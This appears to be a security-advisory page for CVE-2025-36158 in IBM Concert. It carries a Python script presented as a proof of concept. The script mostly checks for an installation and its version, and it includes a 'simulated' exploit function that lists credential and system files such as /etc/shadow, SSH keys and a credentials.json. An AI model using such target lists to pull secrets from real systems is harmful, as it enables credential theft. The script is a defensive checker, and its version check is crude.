IBM Concert 1.0.0 through 2.0.0 could allow a local user with specific permission to obtain sensitive information from files due to uncontrolled recursive directory copying.
The following code is for security research and authorized testing only.
python
# CVE-2025-36158 PoC - IBM Concert Directory Traversal Information Disclosure
# Note: This PoC is for educational and security research purposes only
import os
import sys
import subprocess
def check_vulnerability():
"""
Check if IBM Concert is vulnerable to CVE-2025-36158
This script demonstrates the directory traversal via recursive copying
"""
print("[*] CVE-2025-36158 IBM Concert Information Disclosure Vulnerability Checker")
print("[*] Target: IBM Concert versions 1.0.0 - 2.0.0")
# Check if IBM Concert is installed
concert_paths = [
"/opt/IBM/Concert",
"/usr/local/IBM/Concert",
os.path.expanduser("~/.IBM/Concert")
]
concert_found = False
for path in concert_paths:
if os.path.exists(path):
print(f"[+] Found IBM Concert installation at: {path}")
concert_found = True
break
if not concert_found:
print("[-] IBM Concert installation not found")
return False
# Check version
version_file = os.path.join(concert_paths[0], "version") if concert_found else None
if version_file and os.path.exists(version_file):
with open(version_file, 'r') as f:
version = f.read().strip()
print(f"[+] Detected version: {version}")
# Check if version is affected
major_version = int(version.split('.')[0]) if version.split('.')[0].isdigit() else 0
if major_version >= 1 and major_version <= 2:
print("[!] Version is within affected range (1.0.0 - 2.0.0)")
print("[!] System may be vulnerable to CVE-2025-36158")
return True
print("[*] Version check complete")
return False
def exploit_directory_traversal(target_dir, output_dir):
"""
Simulate exploitation of directory traversal vulnerability
This demonstrates how an attacker could leverage the recursive copy feature
"""
print(f"[*] Attempting to exploit directory traversal...")
print(f"[*] Target directory: {target_dir}")
print(f"[*] Output directory: {output_dir}")
# This is a simulation - actual exploitation requires specific conditions
sensitive_paths = [
"/etc/shadow",
"/var/IBM/Concert/config/credentials.json",
os.path.expanduser("~/.ssh/")
]
for sensitive_path in sensitive_paths:
if os.path.exists(sensitive_path):
print(f"[!] Found sensitive path: {sensitive_path}")
print(f"[!] This path could be accessed via the vulnerability")
print("[*] Exploitation simulation complete")
if __name__ == "__main__":
is_vulnerable = check_vulnerability()
if is_vulnerable:
print("\n[!] RECOMMENDATION: Apply security patches immediately")
print("[!] Reference: https://www.ibm.com/support/pages/node/7252019")